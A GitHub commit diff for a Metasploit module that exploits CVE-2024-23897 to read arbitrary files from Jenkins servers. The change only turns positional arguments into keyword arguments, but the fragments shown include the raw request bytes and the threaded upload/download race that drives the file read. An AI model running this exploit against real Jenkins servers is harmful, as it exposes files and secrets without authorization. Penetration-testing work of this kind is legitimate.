Skip to content

Commit 155181f

Browse files
authored
Apply suggestions to fix the last code review
1 parent 14938a2 commit 155181f

File tree

1 file changed

+5
-5
lines changed

1 file changed

+5
-5
lines changed

modules/auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read.rb

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -130,7 +130,7 @@ def parameter_one
130130
"\x03\x00\x00\x01\x31\x00\x00\x00"
131131
end
132132

133-
def data_generator(pad = false)
133+
def data_generator(pad: false)
134134
data = []
135135
data << request_header
136136
data << parameter_one if pad
@@ -143,7 +143,7 @@ def data_generator(pad = false)
143143
data.join('')
144144
end
145145

146-
def upload_request(uuid, multi_line_file = true)
146+
def upload_request(uuid, multi_line_file: true)
147147
# send upload request asking for file
148148

149149
# In testing against Docker image on localhost, .01 seems to be the magic to get the download request to hit very slightly ahead of the upload request
@@ -161,7 +161,7 @@ def upload_request(uuid, multi_line_file = true)
161161
'vars_get' => {
162162
'remoting' => 'false'
163163
},
164-
'data' => data_generator(multi_line_file)
164+
'data' => data_generator(pad: multi_line_file)
165165
)
166166

167167
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
@@ -241,7 +241,7 @@ def run
241241
use_pad = false
242242
threads = []
243243
threads << framework.threads.spawn('CVE-2024-23897', false) do
244-
upload_request(uuid, use_pad) # try single line file first since we get an error if we have more content to get
244+
upload_request(uuid, multi_line_file: use_pad) # try single line file first since we get an error if we have more content to get
245245
end
246246
threads << framework.threads.spawn('CVE-2024-23897', false) do
247247
download_request(uuid)
@@ -259,7 +259,7 @@ def run
259259
use_pad = true
260260
threads = []
261261
threads << framework.threads.spawn('CVE-2024-23897-upload', false) do
262-
upload_request(uuid, use_pad)
262+
upload_request(uuid, multi_line_file: use_pad)
263263
end
264264
threads << framework.threads.spawn('CVE-2024-23897-download', false) do
265265
download_request(uuid)

0 commit comments

Comments
 (0)